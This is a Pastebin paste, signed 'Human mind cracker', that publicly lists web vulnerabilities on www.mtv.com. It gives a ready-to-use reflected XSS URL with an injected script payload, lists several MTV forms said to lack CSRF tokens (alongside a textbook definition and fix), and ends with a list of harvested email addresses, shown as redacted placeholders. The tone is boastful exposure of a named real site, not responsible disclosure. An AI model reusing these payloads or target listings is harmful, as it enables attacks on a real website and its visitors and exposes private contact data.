Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- **********************************************************************************************
- Target: www.mtv.com
- [**] XSS:
- http://www.mtv.com/sitewide/droplets/sectionsetupFiles/personalizationJS.jhtml?footprintUrl=%2Fshared%2Fmovies%2Fflickd%2Fw%2Fwe_are_marshall_061207%2Findex.jhtml&thisUrl=%22%3E%3Cscript%3Ealert%28%22XSS%20vuln%20found%20on%20MTV%20website%20by%20me%20human%20mind%20cracker%22%29%3C/script%3E
- "work only on mozila firefox"
- [**] Cross-site Request Forgery:
- Cross-site Request Forgery (CSRF) is a type of attack whereby unauthorized commands are transmitted from a user that the application trusts. Unlike Cross-site Scripting (XSS), which exploits the trust a user has for a particular site, CSRF exploits the trust that a site has in a user's browser.
- solution: Url and Forms that perform important operations must be protected by random tokens (hidden nonce values). These tokens must be checked for validity at the server before the request is processed.
- url: http://www.mtv.com/artists/bridgit-mendler/
- form: <form method="POST" action="http://www.mtv.com/" enctype="application/x-www-form-urlencoded" autocomplete="on"> ... </form>
- url: http://www.mtv.com/mobile/
- form: <form method="POST" action="http://www.mtv.com/mobile/" enctype="application/x-www-form-urlencoded" autocomplete="on"> ... </form>
- url: http://www.mtv.com/mobile/faqs/
- form: <form method="POST" action="http://www.mtv.com/mobile/faqs/" enctype="application/x-www-form-urlencoded" autocomplete="on"> ... </form>
- url: http://www.mtv.com/sitewide/droplets/sectionsetupFiles/personalizationJS.jhtml?thisUrl=%2Fshared%2Fmovies%2Fflickd%2Fw%2Fwe_are_marshall_061207%2Findex.jhtml&footprintUrl=%2Fshared%2Fmovies%2Fflickd%2Fw%2Fwe_are_marshall_061207%2Findex.jhtml
- form: <form method="POST" action="http://www.mtv.com/sitewide/droplets/sectionsetupFiles/personalizationJS.jhtml?thisUrl=%2Fshared%2Fmovies%2Fflickd%2Fw%2Fwe_are_marshall_061207%2Finde...
- [**]Email Disclosure'
- email: [email protected]
- email: [email protected]
- email: [email protected]
- email: [email protected]
- email: [email protected]
- email: [email protected]
- email: [email protected]
- email: [email protected]
- email: [email protected]
- email: [email protected]
- email: [email protected]
- email: [email protected]
- email: [email protected]
- email: [email protected]
- email: [email protected]
- email: [email protected]
- email: [email protected]
- email: [email protected]
- email: [email protected]
- email: [email protected]
- email: [email protected]
- email: [email protected]
- email: [email protected]
- email: [email protected]
- email: [email protected]
- email: [email protected]
- email: [email protected]
- email: [email protected]
- email: [email protected]
- email: [email protected]
- email: [email protected]
- email: [email protected]
- email: [email protected]
- Picture of XSS vuln: http://www.imagup.com/data/1166124931.html
- Human mind cracker
Advertisement
Add Comment
Please, Sign In to add comment
